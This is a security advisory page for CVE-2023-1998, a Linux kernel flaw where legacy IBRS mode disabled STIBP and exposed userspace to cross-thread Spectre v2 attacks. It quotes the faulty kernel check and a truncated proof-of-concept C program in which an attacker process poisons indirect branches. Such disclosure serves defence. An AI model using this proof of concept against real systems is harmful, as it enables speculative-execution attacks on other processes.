Skip to content
GoogleGHSA-mj4w-6495-6crx

Linux Kernel: Spectre v2 SMT mitigations problem

MediumCVE-2023-1998 · Published Apr 12, 2023

### Summary The Linux kernel allows userspace processes to enable mitigations by calling prctl with PR_SET_SPECULATION_CTRL which disables the speculation feature as well as by using seccomp. We had noticed that on VMs of at least one major cloud provider, the kernel still left the victim process exposed to attacks in some cases even after enabling the spectre-BTI mitigation with prctl. The same beahaviour can be observed on a bare-metal machine when forcing the mitigation to IBRS on boot comand line. This happened because when plain IBRS was enabled (not enhanced IBRS), the kernel had some logic that determined that STIBP was not needed. The IBRS bit implicitly protects against cross-thread branch target injection. However, with legacy IBRS, the IBRS bit was cleared on returning to userspace, due to performance reasons, which disabled the implicit STIBP and left userspace threads vulnerable to cross-thread branch target injection against which STIBP protects. ### Severity Medium - The kernel failed to protect applications that attempted to protect against Spectre v2 leaving them open to attack from other processes running on the same physical core in another hyperthread. ### Vu...

GitHub advisory

Affected versions

PackageAffectedFixed in
Kernel
Product
< 6.36.3
Details and references

### Summary The Linux kernel allows userspace processes to enable mitigations by calling prctl with PR_SET_SPECULATION_CTRL which disables the speculation feature as well as by using seccomp. We had noticed that on VMs of at least one major cloud provider, the kernel still left the victim process exposed to attacks in some cases even after enabling the spectre-BTI mitigation with prctl. The same beahaviour can be observed on a bare-metal machine when forcing the mitigation to IBRS on boot comand line. This happened because when plain IBRS was enabled (not enhanced IBRS), the kernel had some logic that determined that STIBP was not needed. The IBRS bit implicitly protects against cross-thread branch target injection. However, with legacy IBRS, the IBRS bit was cleared on returning to userspace, due to performance reasons, which disabled the implicit STIBP and left userspace threads vulnerable to cross-thread branch target injection against which STIBP protects. ### Severity Medium - The kernel failed to protect applications that attempted to protect against Spectre v2 leaving them open to attack from other processes running on the same physical core in another hyperthread. ### Vulnerable code The Bug present on Kernel 6.2 (https://elixir.bootlin.com/linux/v6.2/source/arch/x86/kernel/cpu/bugs.c#L1196) implements an optimization that disables STIBP if the mitgation is IBRS or eIBRS. However IBRS doesn't mitigate SMT attacks on userspace as eIBRS does. Setting spectre_v2=ibrs on kernel boot parameters for bare metal machines without eIBRS support also triggers the bug. ```.c /* * If no STIBP, IBRS or enhanced IBRS is enabled, or SMT impossible, * STIBP is not required. */ if (!boot_cpu_has(X86_FEATURE_STIBP) || !smt_possible || spectre_v2_in_ibrs_mode(spectre_v2_enabled)) return; ``` ### Proof of Concept The test consists of two processes. The attacker constantly poisons an indirect call to speculatively redirect it to a target address. The victim process measures the mispredict rate and tries to mitigate the attack either by calling PRCTL or writing to the MSR directly using a kernel module that exposes MSR read and write operations to userspace. ```.c /* gcc -o victim test.c -O0 -masm=intel -w -DVICTIM gcc -o victim-PRCTL test.c -O0 -masm=intel -w -DVICTIM -DPRCTL gcc -o victim-nospecctrl test.c -O0 -masm=intel -w -DVICTIM -DMSR -DMSR_VAL=0 gcc -o victim-IBRS test.c -O0 -masm=intel -w -DVICTIM -DMSR -DMSR_VAL=1 gcc -o victim-STIBP test.c -O0 -masm=intel -w -DVICTIM -DMSR -DMSR_VAL=2 gcc -o victim-IBPB test.c -O0 -masm=intel -w -DVICTIM -DMSR -DMSR_VAL=0 -DIBPB gcc -o attacker test.c -O0 -masm=intel -w */ #include "utils.h" #include <stdio.h> #include <string.h> #include <sys/prctl.h> #ifndef PRINT_AMMOUNT #define PRINT_AMMOUNT 1000 #endif #define IA32_SPEC_CTRL 72 uint8_t *rdiPtr; uint8_t unused[0x500]; uint8_t probeArray[0x1000] = {2}; uint8_t unuse2[0x500]; uint32_t f1() {} int poison(uint8_t *srcAddress, uint8_t *dstAddress, uint64_t cpu) { volatile uint8_t d; unsigned tries = 0; unsigned hits = 0; unsigned totalHits = 0; unsigned totalTries = 0; jitForLoop(srcAddress); while (1) { #ifndef VICTIM callGadget(srcAddress, (uint8_t *)&rdiPtr, (uint8_t *)probeArray); continue; #else #ifdef IBPB wrmsr_on_cpu(73, cpu, 1); #endif for (int i = 0; i < 100; i++) { d = *dstAddress; flush((uint8_t *)&rdiPtr); callGadget(srcAddress, (uint8_t *)&rdiPtr, (uint8_t *)probeArray); } if (probe(&probeArray[0]) < THRESHOLD) { hits++; totalHits++; } totalTries++; if (++tries % PRINT_AMMOUNT == 0) { printf("Rate: %u/%u

Severity from
GitHub (reviewed advisory)

More Google advisories

All Google
Advisory
Apple: Airpods Pro Device Link without Key
HighJun 15, 2023
NPM: Ignore Script Bypass
MediumMay 22, 2023
Jose4j: Chosen Ciphertext Attack in Jose4j
MediumApr 27, 2023
Linux Kernel: Spectre-v1 gadgets
MediumApr 18, 2023
Facebook: Critical bugs in Facebook/Polygon Winterfell library
HighApr 12, 2023
CISCO: ClamAV Heap Buffer Overflow
HighFeb 21, 2023

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.